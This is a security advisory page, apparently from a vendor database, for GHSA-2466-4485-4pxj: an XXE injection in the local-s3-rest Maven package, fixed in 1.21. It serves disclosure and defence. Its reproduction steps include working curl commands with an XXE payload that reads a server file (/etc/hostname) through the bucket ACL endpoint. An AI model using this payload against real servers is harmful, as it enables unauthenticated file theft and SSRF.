GHSA-2466-4485-4pxj — local-s3-rest
Fix: Robothy/local-s3@d6ed756GHSA-2466-4485-4pxj is a security vulnerability in io.github.robothy:local-s3-rest. A fix is available for io.github.robothy:local-s3-rest — see the affected versions and patch details below.
LocalS3 Project Bucket Operations Vulnerable to XML External Entity (XXE) Injection
Real-World Exposure
io.github.robothy:local-s3-restReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.
Description
Description
The LocalS3 project contains an XML External Entity (XXE) Injection vulnerability in its bucket operations that process XML data. Specifically, the vulnerability exists in the bucket ACL and bucket tagging operations. The application processes XML input without properly disabling external entity resolution, allowing an attacker to read arbitrary files from the server's filesystem.
The vulnerability occurs because the XML parser used by the application processes DOCTYPE declarations and allows external entity references. When processing bucket ACL or tagging operations, the application includes the content of external entities in its response, effectively exposing sensitive files from the server.
This type of vulnerability can be exploited to read sensitive files, perform server-side request forgery (SSRF), or potentially achieve denial of service through various XXE attack vectors.
Steps to Reproduce
-
Create a test bucket using PUT request to http://[server]/[bucket-name]
curl -X PUT "http://app/xxe-test-bucket2"``` -
Send a PUT request to http://[server]/[bucket-name]?acl with the following XXE payload:
curl -X PUT "http://app/xxe-test-bucket2?acl" \ -H "Content-Type: application/xml" \ -d '<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE AccessControlPolicy [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]> <AccessControlPolicy> <Owner> <ID>&xxe;</ID> <DisplayName>test</DisplayName> </Owner> <AccessControlList> <Grant> <Grantee xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="CanonicalUser"> <ID>test</ID> <DisplayName>test</DisplayName> </Grantee> <Permission>FULL_CONTROL</Permission> </Grant> </AccessControlList> </AccessControlPolicy>' -
Send a GET request to
http://[server]/[bucket-name]?aclto retrieve the bucket ACLcurl "http://app/xxe-test-bucket2?acl"
After performing these steps, the content of the target file (/flag.txt in this case) will be included in the response within the ID field of the Owner element.
Mitigations
- Configure the XML parser to disable external entity resolution by setting XMLConstants.FEATURE_SECURE_PROCESSING to true
- Disable DOCTYPE declarations in the XML parser configuration
- Implement XML input validation and sanitization before processing
- Consider using JSON instead of XML for these operations if XML parsing is not strictly necessary
Impact
The vulnerability requires no authentication and can be exploited by any user who can make HTTP requests to the server. It allows reading arbitrary files from the server's filesystem, which could expose sensitive configuration files, credentials, or other confidential information. The vulnerability can also be used to perform SSRF attacks against internal systems.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| ☕Maven | io.github.robothy:local-s3-rest | all versions | 1.21io.github.robothy:local-s3-rest:1.21 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for io.github.robothy:local-s3-rest, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update io.github.robothy:local-s3-rest to 1.21 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-2466-4485-4pxj is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-2466-4485-4pxj can be triaged on real exposure rather than presence alone.
Tailored to GHSA-2466-4485-4pxj. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-2466-4485-4pxj in your dependencies?
O3 Security finds GHSA-2466-4485-4pxj across Maven dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.